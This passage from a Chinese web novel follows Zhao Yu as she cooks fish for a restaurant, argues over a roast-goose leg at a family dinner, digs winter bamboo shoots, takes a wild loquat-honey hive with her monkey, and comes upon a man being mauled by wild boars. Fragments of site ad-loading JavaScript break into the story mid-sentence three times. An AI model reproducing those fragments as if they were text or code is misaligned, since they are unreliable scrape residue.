它脑袋将褥子顶起,顿时一股冷风往里头吹,赵榆“嘶”了一声,忙伸手将它推出去,“你又不冷,毛那么厚,用不着盖褥子。” “哇哇哇!”猴子不愿意了,赵榆越阻止它,它越来劲。 “快出去!” “哇!” “太冷了!” “哇哇!” 赵榆:…… 被猴子一通闹,褥子里的热气散了一大半,这下赵榆不得不从床上爬起来。 昨日福临楼的管事让周谷给她带口信,说又有不少客人订了鱼,所以今儿她还得早早去一趟县城。 穿上一身新袄子,纤细的身体立时雍胖起来,衬着又白了不少的脸越发精致小巧了。 这身厚实的衣裳,是赵榆用福临楼给她的五两银子买的,里头塞的棉花紧实,抗冻很是不错。 外头风声还在响,呼呼的,似乎一晚上没见停。 赵榆气恼地揉了一把猴子的脑袋后,这才往门边走,随着越靠越近,从门缝里钻进来的风吹在脸上留下一片凉气。 待她打开门,冷风扑面而来,微窒。 她眯眼看向外头被风吹得摇晃的光秃秃的树顶,心想,这天怕不是要下雪了。 这时一丝烟火气传了过来,隔壁灶房也传出动静,想来是周婶知道她一会儿要上县城,正在准备早食。 填了肚子后,赵榆和周谷这才带着最后一筐乌栗出了门。 随着入冬,山里乌栗越发的少,这是赵榆能捡到的最后一筐。 除了留给镇上豆腐铺子的几斤,其余的皆送到福临楼。 冬天正是吃豆腐的时候,不论是白豆腐还是乌栗豆腐都受食客的欢迎,又因乌栗豆腐不常见,吃的人更多,这也算是福临楼的一道热菜了。 这次进城坐的依旧是黄老伯的牛车。 因赵榆隔几日就要进趟县城,而黄老伯没鸭子卖之后也缺了份进项,于是便接下了送赵榆进城的活计。 老黄牛依旧不紧不慢地往前走,坐的次数多了,赵榆也习惯不少,再说这冷风刮脸,慢一点到底好受些。 46. 第四十六章 福临楼后厨热火朝天,每个灶台都是一通忙,赵榆进去时,谁都顾不上瞧她一眼。 倒是之前给大厨子帮工的小二见到赵榆来了,连忙将灶台腾了出来。 赵榆也没墨迹,将竹筐放在一旁后,净了手,就开始往锅里倒油放鱼…… 来福临楼吃鱼的都是偏重口的,喜欢的就是配料激发的香和辣。 赵榆敢放配料,又放的恰到好处,正正好迎合了这些人的口味。 舍得花钱的大爷们提前和福临楼订了鱼,待他们落座后没多久,热腾腾刚出锅的鱼陆续被端了上来,辛香飘出,刺激的他们口舌生津。 大爷们吃的痛快,腆着肚子颇为满足的付钱离开,赵榆这边也擦了擦汗,停了手里的活。 连着煮了几十锅鱼,倒真让她得心应手起来。搁盐、放配料掌握的越发熟练,瞧着似乎真有练就“拿手好菜”的本事。 离开福临楼前,赵榆去寻了账房。今儿是月末,该领工钱了。 到手整整二两。赵榆欣喜地摸了又摸,这才心满意足地藏进竹筐里。 经过那家卤肉馆时,猴子在竹筐里闹出动静,一看就是闻着香味给激动的。 赵榆无法,只能又给它买了一只。 这已经是她第十次进去,卤肉馆的店家对她熟悉的不行,也热切的不行。 将包裹好的鹅递给她,笑呵呵地道:“赵姑娘,吃完再来啊!” 赵榆接过鹅,心里头很是无奈,想她当时不过是闻着香味进来一次,没曾想后头还有无数次。 进一次六十文,若不是福临楼的庞掌柜给她多涨了一两银子,她还养不起这只猴子。 回去的路上,飘起了雪,好在初始并不大,待他们回到周家时,这才下得密集起来。 回到屋子,赵榆才刚将竹筐卸下,猴子就迫不及待的从里头跳了出来,嘴里还衔着包裹好的鹅,不等赵榆阻止,它挤着门缝就钻了出去。 下这么大的雪,作甚跑外头去吃? 赵榆见它一溜烟消失在墙头,也没再管。 这次不仅给猴子买了鹅,她也给周家带了一只,拿着剩下的那只赵榆去了灶房。 周婆子正在灶上忙活,见赵榆带了一只烧鹅回来,先是惊讶,随即又心疼的抽了口气,“这得多少钱?”这么大一只,定然不会便宜。 赵榆笑道:“多日不见油水,便买了一只回来给大家补补身子。” 补身子割几斤猪肉回来便十分不错,哪用得着买只烧鹅? 周婆子还想再说说她,就听外头传来大牛的声音。 他来找赵榆,小短腿迈得欢,也不等后头追过来的二牛。 两人缩着脑袋,躲着雨雪,哇哇大叫地跑进灶房,然后一人一边抱住赵榆的腿。 大牛仰着脑袋,奶声奶气道:“榆阿姐,你去哪了?大牛想你了!” “二牛也想。”二牛也紧跟在哥哥后头嫩声声开口。 赵榆是真喜欢这两个小子,闻言,抬手摸了摸他们的脑袋,笑道:“榆阿姐给你们带了烧鹅,一会儿一人一个大鹅腿。” 两人一听高兴的不行,蹦蹦跳跳的,望着灶台上的大烧鹅直咽口水。 周婆子见此也懒得再说什么,骂了两个小的是贪吃鬼之后,就将三人给赶了出去。 灶房小,人一多她转身都困难,耽误她做晚食。 一大盘剁成块的烧鹅摆在桌子的正中,衬的旁边的咸菜和青菜叶越发的难以入眼。 尤其是这鹅外焦里嫩,被周婆子过了一遍热锅后,越发的香气扑鼻,谁看了不嘴馋? 就连周老汉这种不重视口腹之欲的,再见到这么一大盘鹅肉,也被香的抱出酒坛。 这是之前剩下的,他一直留着舍不得喝,这下难得能吃到油荤,他又馋酒了。 不过虽贪这口鹅肉,他还是让赵榆下回别给家里买这般贵的吃食。鹅崽子就不便宜,更不要说被精心烤炙过的大鹅。 银子难赚,从福临楼领的工钱合该阿榆自个儿存好了,该省还是得省。 赵榆听了,心下暗想,这话若是猴子能听懂就好了,这样她就能少进几次卤肉馆。 因为有这盘硬菜,这饭桌上难免就有人不规矩起来。 方春梅可不管周老汉老两口还没开始动筷子,她站起身就往自己碗里夹肉,一连夹了几块后,她还不满足,见到鹅肉里头藏着鹅腿,她眼睛一亮,筷子迅速朝着鹅腿伸去。 周婆子见此脸一黑,刚要拍桌子喝退她,就见赵榆已经快她一步止住了方氏的动作。 方春梅眉头一皱,不高兴了,看向赵榆,“你拦我做什么?这菜难不成我还不能夹了?” 赵榆:“鹅腿你不能夹,这是留给大牛二牛的。” 方春梅扫了一眼扒着桌角,双眼紧盯鹅肉,露出一副垂涎模样的两个讨厌鬼,撇了撇嘴:“这么一大盘,哪块肉不能吃?” 她意有所指道:“他们两个也不见得非要吃这鹅腿,怎的你竟成他们肚里的馋虫了?” “不就一个鹅腿么,竟还拦着,真当谁稀罕?”方春梅一边说着,筷子依旧往盘里伸,“我进周家这么些年,可从没有桌上的菜不让夹的规矩!” 大牛比桌子高出一个头,眼见着四婶的筷子挨到了鹅腿,他顿时委屈地瘪了瘪嘴,“四婶,我想吃鹅腿。” 方春梅才懒得理他,打定主意要将鹅腿夹进自己的碗里。 周婆子还是没忍住拍了桌子,“你还真是有脸,竟和他们两个小的抢起吃得来!” 方春梅不服气,“娘,你这话说的!这鹅腿可还在碗盘里呢,又没被他们吃进嘴里,咋就成了我抢他们的了?” 方春梅筷子夹住鹅腿,继续道:“这上头又没刻谁的名字,我怎就不能夹来吃?!” 周婆子被她这番不要脸的话气的眼皮一抖一抖的,这个糟心货,只顾自己的一张嘴,好好的一桌饭愣是又让她搅和的难以下咽。 周婆子看向坐在方氏身边的周青,沉声开口,“老四,你就这么干看着?!” 周青虽觉得方春梅抢肉吃有些让他脸上无光,但他心里头不觉得这事有什么好说的,一盘肉而已,谁吃不是吃,凭什么老二家的小子馋鹅腿,他婆娘就得让? 顿了顿,他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 安抚道:“娘,鹅腿有两个呢,大牛要吃可以夹走另一个。” 说完他瞥向赵榆,“一家人吃饭合该和和气气,计较那么多作甚?不就是一块肉么,何必——” 他未说完便停了下来,但意思不言而喻,指责赵榆爱做计较,让大家伙进食都不得安生。 赵榆淡淡斜了他一眼,懒得和这两人耽搁时间,索性站起身,直接伸手将方春梅的筷子撇开,不顾对方的瞪视,直接道:“这鹅是我花六十文买的,鹅腿我要给谁便给谁,不愿给谁谁也吃不得。” “你的这番做派,不知道的以为这钱是你出的。” 赵榆扫了眼方春梅碗里的那些鹅肉,“说是不稀罕,你夹的可不少。” 说完,又看向一旁面色微沉的周青,“鹅是我特意买回来给一家老小补油水的,你们要吃,我也未拦着。” “但你若偏说是我计较,那我是不是该收你们的银钱才对,吃多少就该还我多少。” 赵榆可还记着方春梅不给她饭食吃的事,若不是她不能太过分,方春梅合该占不到她一分便宜。 “你竟然还想要我们的钱?!”不待周青怒斥,方春梅已经一脸不可置信的嚷道。 她又气又惊,“不就在福临楼当个厨子么,真以为自己长本事了?几块肉而已,还想让我给你银钱,真真是黑心肝儿!” 赵榆被骂也不在意,直接问道:“你碗里的那几块肉,打算给我多少?” 方春梅瞪大眼:“……你、你、你……” 她倒是还想提赵榆是周家用四两银子买回来的事,但现在再说这话已经没多大用。 情况已经不同,之前赵榆吃周家的穿周家的,四两银子就是压她脊梁的大山,她翻不过去。 可现在赵榆比他们任何人都有本事,一个月就能赚回白花花的二两银子,谁看了不眼红心热。 现下再拿四两银子去压她,只能图惹笑话。 方春梅连着几个“你”从嘴里挤出来,却半响不见她蹦出一句完整的话来,反倒将她自个儿的脸给气红了。 钱她是绝对不会给的,既然骂任何话对赵榆都无用,她索性就闭了嘴。 眼下还是六十文的烧鹅重要,她可不想惹急了赵榆,到时候她一块肉都吃不到。 她眼神闪了闪,故作大方,像是懒于和赵榆计较,道:“进个食都不消停,我才懒得和你继续折腾!”说完便收回手,神色自然地坐了回去。 赵榆虽不屑,但既然对方安分了。她便也没再多说什么。 没人抢鹅腿吃,最高兴的就数大牛。 他欢心地拍手道:“四婶坐下了,鹅腿是大牛的了!” 二牛见哥哥拍手,也跟着拍起来,欢呼道:“二牛的!二牛的!” 两人的童言稚语让堂屋重新自在起来。 赵榆被他们惹笑,将鹅腿夹进两人的碗里,这才重新落座。 周婆子瞥了眼“落败”的方春梅,又看了看赵榆,原本发沉的脸也渐渐缓和下来,像是解了气似的,突然顺心不少。 方氏是个脸皮厚实的,好在阿榆将她给压了下去。 47. 第四十七章 夜间,赵榆紧紧裹着被褥,不敢留一丝缝隙,她实在太受不住寒凉。 门外依旧是冷风呼啸,好在她已经将门关严实,就连门缝她都特意用稻草堵住,只为了让屋里暖和些。 伴着如泣如诉的风声,赵榆将自己缩成一团,双眼紧闭,催着自己快快入睡,这样就能忘了还在发凉的手脚。 好在没过多久,被褥里头渐渐暖和起来,赵榆酝酿多时的睡意浮了上来。 然而正在这时,门外响起了挠门声,以及猴子气急败坏的吱哇乱叫。 赵榆睁开眼,无奈极了,她好不容易才暖和起来,实在不想去给它开门。 “哇哇哇!”猴子还在不断催促。 赵榆叹息一声,只能起身。 门被打开,风裹着雨雪吹在身上,冷的她打了个寒颤,见猴子仍旧蹲坐在门口“哇哇”个没完,她受不住地直接伸手按住它的脑袋,将其给扒拉进了屋子。 “哇哇哇!”嚎的更大声了,约莫是没被赵榆礼遇,从而跳脚。 赵榆没搭理它,将门重新关上之后,寻摸着上了床。 猴子跳上木椅,嘴里仍旧闹腾,仿佛还心有不甘。 赵榆嫌它吵,可为了自己能睡个好觉,不得不轻声哄了它几句,这才将它安抚下来。 也不知是跑累了,还是烧鹅给它吃撑了,这才闭嘴没多久,就见它灯笼似的眼睛缓缓闭上,竟是比她还快入睡。 若不是赵榆受不了寒,她必定下床将猴子摇醒,它倒是倒头就睡,反倒她因为它的一通搅和,睡意散了个干净。 真真是有气无处撒! * 次日醒来,外头已经铺了一层白茫茫。 可即便如此,上竹林挖冬笋的人依旧不少,甚至还有隔壁大河村的青壮也都扛着锄头从周家门前经过。 这些人挖笋是为了拿去县城换钱,年前的冬笋鲜甜,一斤可卖两三文,冬日能靠挖笋赚得一笔也是十分不错。 但也因为如此,竹林的冬笋越发紧俏起来。 周青连着几日空手而归,这次说什么都不愿意再上山。 用他的话说,竹林的地被人翻来覆去地挖,冬笋根本不敢冒头,去了也是白去,不仅受冻,还两手空空的平白惹人笑话。 冬笋不好找,周婆子不求他挖笋赚钱,可好歹也该带一两个歪瓜裂枣回来,做不成菜,煮一碗冬笋汤也是好的,可这老四是个懒的,现在连出门都不愿意。 正暗自可惜家里不能吃一顿新鲜冬笋,就见赵榆背着竹筐,拿上锄头就要出去。 周婆子:“阿榆,你干啥去?” 赵榆待在屋里冷的不行,就想着干干活让身体热起来,见有人挖笋便也想跟去碰个运气。 周婆子一听,心想老四这个挖笋老手都没个收获,你这小姑娘怕不是笋皮都不能见到一个。 但见她兴致昂扬,便也没说这些话打击她,看了眼她脚上的鞋,这还是大丫没许人前在家穿的,足有八成新,被她洗刷干净后收了起来,等到天冷了,才拿出来给了赵榆。 这事惹得周麦好一顿气,她早早就盯上了阿姐的这双鞋,哪想娘竟先她一步给了赵榆。 周麦被周婆子的偏心气得直掉眼泪,赵榆她不是很能耐么,给福临楼做活,一个月二两银子,既然能赚这么多,怎就不能买一双新的,偏要和自己抢! 赵榆可不知道自己现在穿的鞋子有这番缘故,不过这鞋尚且保暖,鞋底不薄,雪天穿出去正合适。 周婆子拦住她,进屋翻出了两张鹿皮来,皮子不大,是老三几年前带回来的。 周婆子亲自将鹿皮裹在赵榆腿上,将裤腿扎紧,这样不仅不会被雪打湿,冷风也钻不进去。 赵榆感受一番,还真暖和不少,感谢了一番周婆子后,她这才带着猴子出了院子。 路上碰见了刘贵,但瞧他准备充分的模样,又是锄头又是柴刀,一看就是要进深山。 不止赵榆看的出来,别人也是。 有人请求刘贵带他一道,但刘贵以深山危险给拒了,可这人不好打发,认为是刘贵心眼紧,不愿意带他挖笋,于是任由刘贵如何赶人,这人始终死皮赖脸的跟着不放。 刘贵被他拖住,是又气又无奈。 这人可真不知好歹,大山是那么好进的么?他怎么只瞧见他带了锄头,不见他腰间还别了一把柴刀呢? 冬日深山比平时更危险,山中少食,饥饿许久的野兽只会越发凶悍。 就是他进深山挖笋也是提着心,不敢有丝毫松懈。 刘贵好说歹说让这人不要跟着他,他能力不足,根本无法照应到别人。 可这人不信,他虽是隔壁大河村的,也听说了这九龙村的刘贵几乎日日进山,山里的好东西全被他一人给占了。 这次他不过是央求一同进山挖笋,这人竟然也不愿意,果然就像九龙村一些人说的那样,这刘贵心黑! 这人一边心想着,一边道:“这时候山里哪还有野兽,熊瞎子都寻个窝熬冬了,这时候进山再安全不过!” 刘贵冷笑,“谁说山里只有熊瞎子?!”豺狼虎豹饿极了,一个赛一个的凶狠! 这人见刘贵一直不同意,气性也起来了,“这山又不是你刘家的,你还能拦着我不成?” 他看了眼刘贵身后背的竹筐,比他的要大出一倍来,定是深山里有许多笋,否则带这么大的筐作甚? 越想这人心里越不顺,“话说的那么好听,什么照应不照应,无非是担心我和你抢笋!” 赵榆听了一耳朵,见这人不把刘贵的好心当回事,忍不住多了一嘴,“刘家大哥没说假话,山里真的很危险。” 峡谷悬崖就不说了,失足滑下去命就得交代,至于野兽,她进山这么多次,虽然虎豹没碰见过,但野猪可没少见。 一家老小十好几只的野猪群,这要是被它们围攻,很难撑住一口气。 听见声,这人转头,见赵榆一副弱不禁风的模样,立时撇嘴不屑,“你插什么嘴?山里什么情况我不比你清楚?用得着你多话?!” 赵榆扛着锄头从他面前经过,心想:比了解大山,你还真没我清楚,毕竟深山老林我都去了无数趟,次次还都是好手好脚的回来。 提这一嘴是她好心,但这人显然不接受,赵榆也不在意,和刘贵打了声招呼后,就将这事抛在脑后,继续往不远处的竹林走。 就像周青说的那样,竹林的地被十好几把锄头翻过,可就算这样,仍旧还有不少人在闷头找笋。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不仅有外村的人在这,也有好几个赵榆认识的。 李家那些人,也就是郑婆子的几个儿子以及陶氏的儿子汪文…… 这些人见到赵榆也是没个好脸色,尤其郑婆子的儿子们,他们可还记着赵榆抢走兔子的事! 其中有人道:“怎么到哪都能碰见讨人嫌的人?晦气!” 赵榆本不想理他们,听见这话忍不住回嘴,道:“嫌晦气你就离开,我又没留你!” 郑婆子儿子们:……到底是谁先来的? 赵榆不再搭理他们,选了一个“被破坏”不是很严重的地方就开始下锄头。 李家人看赵榆兀自挥着锄头十分起劲,冷笑一声,“就她也想挖到笋?可别把自个儿脚指头锄断了!” 听到那群人里发出一阵笑,不用想都知道是在说她坏话。 赵榆冷冷瞥了眼他们,继续低头寻起冬笋。 任他们笑,待她挖出大笋来,看他们还笑不笑得出? 虽是这般想,可这片林子实在被挖过太多遍,别说大笋,笋芽都被挖了去,赵榆都累出了汗,还一个笋皮都没瞧见,反倒李家和汪家那边传出动静来,赵榆好奇地看了一眼,不过半个巴掌大。 他们拿着笋冲着赵榆显摆,“有人挖了半天,笋影子都没见着,快别瞎耽搁功夫了,碍眼得紧!” 赵榆懒得与他们计较,还没巴掌大呢,这么点煮汤都没个鲜味儿,还以为有多了不得! 她继续往上走了走,离他们远了些,看见有微微拱起的地方就试着用锄头挖一挖…… 一刻钟后,她竟真的在一个大石头底下锄到了两个嫩黄嫩黄的笋头! 起先锄头落在石头旁边时她也没在意,直到注意到石头底部松动,瞧着像是被什么东西给拱起了似的,赵榆意识到了什么,心里头一阵发热。 果然,当她使力把石头推开,用锄头轻轻拨开一层薄土后,两个嫩声声的笋尖就露了出来! 还是一对长在黄泥里的双生笋! 赵榆喜不自胜,小心翼翼地用锄头将土挖开。 这对笋不小,赵榆挖出不少土出来,却仍不见笋的根部。 见此,赵榆越发欣喜,这就说明她找到的笋十分像样,至少够炒一盘菜了! 赵榆挖得更加来劲,坑越挖越深,没多会儿,她瞧见了一颗颗的红点,这是笋的根部,她终于是挖到了! 为了不把笋挖毁掉,赵榆又将坑挖大了一点,待找好角度后,举起锄头果断挥下去,锄头的刃口正正好砸进了红点那处,又继续连挥了几次后,新鲜出炉的大冬笋终于被她挖了出来。 笋上裹着一层黄泥,赵榆一点不嫌弃,将它拿在手里好一番欣赏,这才满意的放在一边,继续挖起另一个。 剩下的那棵笋同样不小,赵榆又费了些力,这才将其挖出来。 两个足有小臂长的冬笋被赵榆一手抓一个,沉甸甸的,让她直泛喜色。 想到什么,她转身对着不远处的李家汪家打声招呼,然后举起手,将两个大笋展露出来,直到那些人面色发僵,她这才满意。 赵榆面上的喜色怎么都遮掩不住,不仅挖到笋,还出了气,真真是舒心! 然而,没多会儿,她这笑意就维持不住了。 48. 第四十八章 看着被猴子扔出筐子的冬笋,赵榆不解地看向它,“你做什么?” “哇哇哇!” 赵榆听懂了,它这是嫌弃笋壳带泥,不乐意和笋待在一个竹筐里 “笋可比你干净!”刚挖出来的冬笋透着股香味,不比它身上的“馊味”好闻? 她还嫌它会把她辛苦挖到的笋给弄脏了。 “哇哇哇!” 赵榆:“你得洗澡了!”说完爱惜地将笋捡起,拍了拍看不见的干灰,重新放进筐子里。 啪! 笋再次被扔了出来。 赵榆瞪了它一眼,捡起来又给放进去。 猴子继续扔。 “哇哇哇!”嚎得更加短促,显然是生怒了。 赵榆:...... 它竟比她还要先不耐烦?! 赵榆急忙看向李家那些人,估摸着是受到她挖的大笋的打击,此时他们已经去了另一边,不愿与赵榆待在一块,免得烦心。 多亏距离拉远了,他们这才没注意到这边。 赵榆松了口气,严肃道:“小点声,油锅可还给你留了位,想被别人做成肉干你就继续大声嚎!” “哇哇!”声音小了,但气性仍在。 这里人多,赵榆也不敢在和它作对,只得将两个大笋抱在怀里。 扫了眼周围,这片竹林虽大,可耐不住挖的人多。想着自己能挖到两个笋,实属是运气好,谁能晓得石头下还藏着两个笋尖? 不过漏网的冬笋能碰见一次,可不一定能碰见第二次,没看见李家和汪家都这么会儿了,手里还是只有一个指头长的小笋! 想到这里,赵榆也不想继续留在这,背上竹筐,一手抱笋一手拿锄头艰难地离开这片竹林。 等终于走到没人的地儿,她这才放下手里的东西,将窝在筐子的猴子抱出来。 不是嫌弃冬笋脏了它的毛么?那就将筐子让出来,让笋进筐! 猴子被迫出筐也没反抗,乖顺地蹲在地上,直到赵榆打算下山,它这才哇哇叫并抱着她的腿不让走。 赵榆腿上挂了个猴子,莫名其妙道:“你这是做什么?” 猴子从她腿上跃下去,当着她的面往上山的小路跑了几步,停下,转头看向她。 它这意思很明显,是想让她进山去。 赵榆摇摇了头,这时候进山做什么?雪天山里昏暗潮湿,又异常寒冷,太过危险,她才不进去。 “你一个山里长大的猴子进山还要我陪着?丢份!”赵榆冲它摆了摆手,道:“你自己去,我先回去了。” 话说完,刚要转身,猴子又跑了下来,动作利索地爬到她的腿上,眨眼功夫便上了她的肩,一边叫一边指向山里,这是非要她去不可。 “你是有什么大事不成,偏得现在进山?”话虽说的很不情愿,但赵榆还是依了它。 这次一人一猴没走的太深,却也比浅山要远的多。 赵榆跟着猴子来到了一处缓坡,坡上绿叶青葱,只覆盖了些许薄雪。 赵榆左右望了望,并没有什么特别的地方。 猴子此时已经停了下来,端坐在一节树杈上,努力伸长着脖颈往一处看,那模样别提多热切。 赵榆好笑,“你在看什么呢?”若不是身边没有合适的树,她也想爬到高处看看。 猴子没让她等太久,确定了一番情况后,它抱着树干麻利地下了树,哇哇两声后,四肢并用,迅速往前头窜去。 这急冲冲的样子,赵榆显然是阻拦不得。 不得已,她只能跟上去。 不久之后。 嗡嗡嗡—— 这是……蜂虫在叫? 赵榆步伐慢了下来,下意识寻找起来。 此时猴子也停在一棵树前,仰着头一个劲往树顶瞧。 赵榆走上前,随着它的动作看过去—— 那是——蜂窝么?! 这也太大了,密密麻麻的蜂虫铺在上头,一层压着一层,不留一丝缝隙! 这蜂窝坠在一根手臂粗的枝干下,像一个不规则的大圆盘,黑黝黝的蜂虫将其包围着,煞是骇人! 赵榆有了退意,只想抬腿逃开。 她不解猴子为什么要招惹这些蜂虫,尤其是它此时眼巴巴的样子,一看就是目标明确。 赵榆:“你当真要招惹它们?” “哇!” “那你叫上我作甚?”赵榆看着那些密集的蜂虫,头皮发麻,“你皮毛厚可以不管不顾,如此受罪的便是我了!” 赵榆苦口婆心劝道:“蜂虫不好吃的,没滋没味,还没养分,吃多了还容易掉毛,你想变成秃猴么?”她胡言乱语,只想把这不要命的猴子劝离。 见它无动于衷,她继续诱哄道:“你不是喜欢吃蛇?我陪你去掏蛇洞,冬天的蛇最肥美,你一定喜欢!” 赵榆虽怕蛇,可比起这嗡嗡乱叫的蜂虫,还是窝冬的蛇让她心安。 然而无论她如何说,猴子屁/股就像是扎在了地上,始终一动不动。 赵榆心慌不已,忍着惊惧再次打量树顶的蜂窝。 定睛一看。 嗯? 这是?蜜蜂? 赵榆看得更加仔细了些。 还真是蜜蜂! 若是蜜蜂,那—— 赵榆目光一转,落在蜂窝所在的树上。 这树不大,树身也不是很粗壮,可让赵榆在意的是,这树上开了不少花。 锈色的柄脱上一朵朵白色的小花绽开,引得蜜蜂霸在花蕊上舍不得离开。 赵榆复又看向离自己最近的长圆叶片,她认出这是枇杷叶。 所以这是棵枇杷树,确定无疑。 赵榆对蜂蜜了解不多,可名气大的“枇杷蜜”她倒是听说过,这是冬蜜的一种,十分难得。 赵榆目光热切,如果没猜错,她这是遇上野生枇杷蜜了! 密密麻麻的蜜蜂将蜂窝裹得密不透风,但赵榆仿佛透过它们看见了里头琥珀色的蜂蜜。 赵榆心热,可一时也想不出法子将其弄下来。 这时,猴子开始动作。 它对着赵榆“哇哇”两声后,利索地顺着树身往上爬,直到爬到蜂窝那处才停下,随即毫不犹豫地对着蜂窝拍过去...... 赵榆看的心中一紧,眼也不眨地盯着蜂窝的动静。 虽说猴子一身毛,可一大群蜜蜂也不是好惹的,赵榆忍不住为它担心。 就如她料想的那般,蜂窝被攻击,蜜蜂全部涌动开来,原还平稳的“嗡嗡声”霎时躁动起来。 赵榆眼睁睁地看着铺在蜂窝上的的蜜蜂纷纷朝着猴子飞去,好在猴子灵活,在动手之后,就迅速跃到了另一棵树上…… 赵榆看着它吱哇乱叫逃离的身影,既心酸又同情。 担心蜂群再次回来,赵榆不再耽搁,她将竹筐卸下,倒出里头的两个冬笋,想了想又脱去身上的袄子,这才身着单衣忍着寒,背着竹筐费力地往树上爬。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >蜜蜂没有被猴子全部引走,蜂窝上还铺了一层。 赵榆爬树的动作都刻意收敛,既害怕引来剩下的那些,又担心晃动树枝会将蜂窝整个掉在地上,摔毁了蜂蜜可就得不偿失了。 猴子还在另一边受苦呢,万万不能让它白受罪。 赵榆顺利靠近蜂窝,比她头大得多的蜂窝悬挂在她眼前,上头蜜蜂并不安分,不是在爬动就是翅膀在张合,像是随时都能飞起来攻击她。 离得近了才知道眼前这一幕有多骇人。 赵榆白着一张脸,小心翼翼地将筐子从背上取下,又将里头的袄子拿出来搁在身前的树枝上,缓了缓心神,这才双手举着筐子向着蜂窝靠近...... 待完全罩住后,咬牙使力一划拉,用筐口将整个蜂窝掰扯下来,只听筐底传来一声响,赵榆知道自己成功了。 但她不敢松神,此时蜂窝上的蜜蜂已经被惊动,随时都能飞出来蛰她,她得快些将竹筐盖上。 赵榆手微微发颤,不知是冷的还是惧的,此时无法顾及。她一把抓住身前的袄子,抖开,立即往竹筐上一铺,将筐口封住。 即将飞出来的蜜蜂及时被挡在里头。 听着竹筐里躁动的“嗡嗡声”,赵榆这才松了口气。 害怕追猴子的那群蜂会回来寻窝,赵榆不敢再在树上多待,下去后,立即寻了个背风的石壁蹲着。 她将竹筐放在石壁的另一边,然后用锄头将上面的袄子挑开,任筐里的蜜蜂飞离。 山中寒风习习,赵榆再也受不住,也不顾袄子上头零星的趴着几只蜜蜂,仔细抖了抖后,这才重新穿上。 赵榆此时不敢露面,石壁那边蜂群还未离开,一直围着竹筐嗡嗡直叫。 好在袄子已经穿在身,这处又背风,她尚且还能待得住。 过了足有半个时辰,赵榆隐隐约约听见了猴子的声音,但因距离太远,不甚清楚。 赵榆站起身,绕过石壁,探头看了眼竹筐,蜜蜂少了不少,只些许几只还留在筐上,不断爬动。 见此,赵榆不再等,折了一根树枝后,便对着那些不愿走的蜜蜂挥扫,幸好数量已经不多,没一会儿,仅余的几只也被她赶跑。 没了蜇人的蜜蜂,赵榆这才有机会查看筐里的“蜂窝”。 此时哪还有原来黑乎乎的模样,没了蜜蜂包裹,大圆盘鲜亮不少,黄白相间的蜂蜡十分惹眼,隐约间里头透出橙黄的琥珀色,那便是金贵的枇杷蜜了。 赵榆眉眼弯了弯,十分欣喜。 得了这么个好东西,这趟没白来! 未免将枇杷蜜压坏,赵榆抱住两个笋,这才扛着锄头朝猴子嚎叫的方向寻去。 为了让猴子尽快找来,她一边走一边唤它,不多会儿,终于在树头看见了它。 “哇哇哇!” 猴子快速下了树,然后蹲坐在她腿边不愿动弹,看起来是逃命把它累着了。 赵榆也没催促,趁着它休息,把它仔细查看一番,尤其是它覆着一层短绒毛的脸,只有这处可能会被蜜蜂蛰到。 但好在猴脸依旧完好,没有被蛰的痕迹。 待猴子缓过劲来,竹筐里的枇杷蜜就引起了它的注意,赵榆已经多次阻止它上她肩头的行为,未免它再继续,赵榆只好先弄了一小块给它。 得了吃的,猴子安分下来,终于愿意好好带路,领着她往山外走。 有猴子开路,回程很是平顺,只是不知是不是她听错了,她竟好似听见了有人在喊救命?! 49. 第四十九章 赵榆驻足,侧耳仔细听了听,竟真的有人在惊叫! 这里离浅山还有相当长一段距离,对别人来说,这属于深山范围。若是没真本事在身,很少有人敢冒险进来。 听见这突然的求救声,赵榆下意识想到了刘贵。 今早遇见他时,他便是打算进深山挖笋…… 赵榆有些心慌,一时间也不知道是该跑还是去救人。 听这动静,这人很大可能是遇上了野畜。 连天未进食,饿着肚子的野畜可是会食人的! 就凭她这副身子骨,去了也是送死,谈何救人? 她敢进山,靠的是猴子与她亲,不会抛下她,以及自己孤注一掷的胆气。 可一旦碰见那些野畜,她是一点反抗的余地也没有。 赵榆想一走了之,可转念想到刘贵可是九龙村人,之前还为她治过病…… 若是见死不救,她以后要怎么面对刘三娘? 那边的动静越发大了,惨叫声传来,怵的赵榆打了个颤。 “哇哇!” 猴子见她停下不走,也跟着返回来,落在她头顶上空,用长条尾巴卷绕着树枝,然后四肢腾空倒立,探着身子往她背后的竹筐里伸手。 赵榆可不知道它在偷吃,犹豫片刻后,她心中已经有了决断。 在猴子即将触碰到枇杷蜜时,赵榆突然将竹筐从背上卸下,手里只留锄头。 惨叫声还在,未消。 赵榆咬了咬牙,握紧锄头,立即向着声音传来的方向跑去。 猴子随着竹筐悄声落地,趁着赵榆没注意咬下一大口蜂蜜,刚要叼着这口蜜逃开,一抬头就见赵榆不见了人影。 “哇哇哇!”猴子大叫,不料嘴一张蜂蜜重新掉入筐中。 它低头看了看蜂蜜,又抬眼望了望赵榆,随即迅速伸手往筐里一捞,将那块蜂蜜抓在手里之后,这才嚎叫着追上去。 随着距离越来越近,喧杂的动静越发清晰。 让赵榆心紧的是那有别于人声的低/喘,急促、厚重,杂乱,即将要把那人的痛呼给压下去。 听出那人声音越发虚弱,赵榆也跟着心急,她小心地扒开荆棘丛,观察那边的情况。 只见大大小小十好几只棕色长毛的野猪在那边乱窜,它们没察觉到威胁,因此很是惬意,或是围着树干蹭着身体,或是用长嘴在拱土…… 这片“悠闲自在”的场景,赵榆见了,只觉得头皮发麻。 一只野猪就不好对付,遑论这么一大群。 赵榆迅速扫过这群野猪,视线搜寻着,随即瞧见让她目眦欲裂的一幕。 一人脸色苍白的被一只极大的野猪踩住胸口,一只腿鲜血淋漓,将裤子濡成深色,而他的另一条腿此时还被野猪咬在嘴里。 野猪狠狠咬住那人小腿,大力摇晃着脑袋试图将那腿给扯下来,力气之大,将那人扯的一阵晃动。 这人伤得很重,但依旧试图从野猪嘴里逃脱,他不断朝着野猪脑袋伸手,试图将猪给推开,可他的力气哪能比得上野猪的,随着野猪甩动脑袋,他不受控制的被拖扯,最终连抬手都无法做到。 他惊恐的嘶吼,但因太过虚弱,发出的声音只余蚊音。 赵榆害怕极了,可那人的情况已经拖不得。 …… 